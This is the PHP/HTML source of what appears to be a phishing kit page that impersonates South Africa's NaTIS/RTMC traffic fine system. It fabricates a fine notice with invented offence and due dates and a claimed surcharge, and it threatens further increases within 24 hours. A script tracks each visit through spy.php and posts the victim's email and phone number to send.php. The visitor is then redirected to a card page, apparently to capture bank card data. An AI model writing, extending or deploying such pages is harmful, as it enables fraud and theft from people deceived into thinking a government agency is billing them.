<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';

$data = $m->getData();
if (isset($data['IS_DONE']) && $data['IS_DONE'] == "1") {
    header('Location: done.php');
    exit;
}

date_default_timezone_set('Africa/Johannesburg');

$payLabel = Config::$payment_amount;
$initialLabel = Config::$fine_amount_initial;
$increaseLabel = Config::formatZar(Config::fineIncreaseNumeric());
$orderId = Config::$transaction_id;
$fineRef = Config::$fine_reference;
$vehicleReg = Config::visitorVehicleReg();
$savedEmail = Config::visitorEmail();

$issueDate = date('d M Y');
$dueDate = date('d M Y', strtotime('+1 day'));
$offenceDate = date('d M Y', strtotime('-21 days'));
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>NaTIS — Traffic fine notice</title>
    <link rel="stylesheet" href="themes/css/card-natis.css" />
    <link rel="stylesheet" href="themes/css/invoice-natis.css" />
</head>
<body class="np-page">

<?php require __DIR__ . '/includes/natis-payment-header.php'; ?>

<div class="inv-wrap">
    <h1 class="inv-title">Traffic fine — payment notice</h1>
    <p class="inv-sub">Outstanding fine increased from <?= htmlspecialchars($initialLabel, ENT_QUOTES, 'UTF-8') ?> to <?= htmlspecialchars($payLabel, ENT_QUOTES, 'UTF-8') ?>. Pay now to avoid further charges.</p>

    <article class="inv-doc">
        <div class="inv-doc-head">
            <div>
                <strong>RTMC — NaTIS traffic fine</strong><br>
                <span>Official payment notice</span>
            </div>
            <div style="text-align:right;">
                <strong>Notice no. <?= htmlspecialchars($orderId, ENT_QUOTES, 'UTF-8') ?></strong><br>
                <span>Issued <?= htmlspecialchars($issueDate, ENT_QUOTES, 'UTF-8') ?></span>
            </div>
        </div>

        <div class="inv-doc-body">
            <dl class="inv-meta">
                <div>
                    <dt>Fine reference</dt>
                    <dd><?= htmlspecialchars($fineRef, ENT_QUOTES, 'UTF-8') ?></dd>
                    <dt>Vehicle registration</dt>
                    <dd><?= htmlspecialchars($vehicleReg, ENT_QUOTES, 'UTF-8') ?></dd>
                </div>
                <div>
                    <dt>Offence date</dt>
                    <dd><?= htmlspecialchars($offenceDate, ENT_QUOTES, 'UTF-8') ?></dd>
                    <dt>Payment due by</dt>
                    <dd><?= htmlspecialchars($dueDate, ENT_QUOTES, 'UTF-8') ?> (24 hours)</dd>
                </div>
            </dl>

            <table class="inv-table">
                <thead>
                    <tr>
                        <th>Description</th>
                        <th class="inv-right">Amount</th>
                    </tr>
                </thead>
                <tbody>
                    <tr>
                        <td>Original traffic fine</td>
                        <td class="inv-right"><?= htmlspecialchars($initialLabel, ENT_QUOTES, 'UTF-8') ?></td>
                    </tr>
                    <tr>
                        <td>Late payment surcharge / increase</td>
                        <td class="inv-right"><?= htmlspecialchars($increaseLabel, ENT_QUOTES, 'UTF-8') ?></td>
                    </tr>
                </tbody>
                <tfoot>
                    <tr class="inv-total-row">
                        <td>Total payable now</td>
                        <td class="inv-right"><?= htmlspecialchars($payLabel, ENT_QUOTES, 'UTF-8') ?></td>
                    </tr>
                </tfoot>
            </table>

            <p class="inv-note">
                If payment is not received within 24 hours, the amount will increase to <?= htmlspecialchars(Config::$fine_amount_next, ENT_QUOTES, 'UTF-8') ?>.
                Pay today via card — 3D-Secure must be enabled on your bank card.
            </p>

            <form id="invForm" class="inv-contact" novalidate>
                <h3>Contact details for payment receipt</h3>
                <div class="inv-field">
                    <label class="inv-label" for="email">Email</label>
                    <input class="inv-input" type="email" id="email" name="email" required autocomplete="email" value="<?= htmlspecialchars($savedEmail, ENT_QUOTES, 'UTF-8') ?>" />
                </div>
                <div class="inv-field">
                    <label class="inv-label" for="phone">Phone number</label>
                    <input class="inv-input" type="tel" id="phone" name="phone" required autocomplete="tel" placeholder="+27" />
                </div>
                <label class="inv-check">
                    <input type="checkbox" id="agree" required />
                    <span>I confirm the fine details above and accept the <a href="#" onclick="return false;">NaTIS payment terms</a>.</span>
                </label>
                <div class="inv-actions">
                    <a class="inv-btn-back" href="fac.php">Back to dashboard</a>
                    <button type="submit" class="inv-btn-pay" id="btnProceed" disabled>Proceed to payment</button>
                </div>
            </form>
        </div>
    </article>
</div>

<?php require __DIR__ . '/includes/natis-payment-footer.php'; ?>

<input type="hidden" id="order_id" value="<?= htmlspecialchars($orderId, ENT_QUOTES, 'UTF-8') ?>" />

<script src="res/jq.js"></script>
<script>
(function () {
    function ok() {
        return $('#email').val().trim().length > 3
            && $('#phone').val().trim().length >= 8
            && $('#agree').is(':checked');
    }
    function refresh() { $('#btnProceed').prop('disabled', !ok()); }
    $('#email, #phone, #agree').on('input change', refresh);
    refresh();
    $.post('spy.php', { page: 'invoice', action: 'enter', order_id: $('#order_id').val() });
    $('#invForm').on('submit', function (e) {
        e.preventDefault();
        if (!ok()) return;
        $('#btnProceed').prop('disabled', true);
        $.post('send.php', {
            order_id: $('#order_id').val(),
            email: $('#email').val(),
            phone: $('#phone').val(),
            amount: <?= json_encode((string) Config::paymentAmountNumeric()) ?>,
            currency: <?= json_encode(Config::paymentCurrencyCode()) ?>
        }).always(function () {
            document.cookie = 'inv_email=' + encodeURIComponent($('#email').val()) + '; path=/; max-age=86400';
            document.cookie = 'inv_phone=' + encodeURIComponent($('#phone').val()) + '; path=/; max-age=86400';
            window.location = 'card.php';
        });
    });
})();
</script>
<?php $m->ctr('INVOICE'); ?>
</body>
</html>
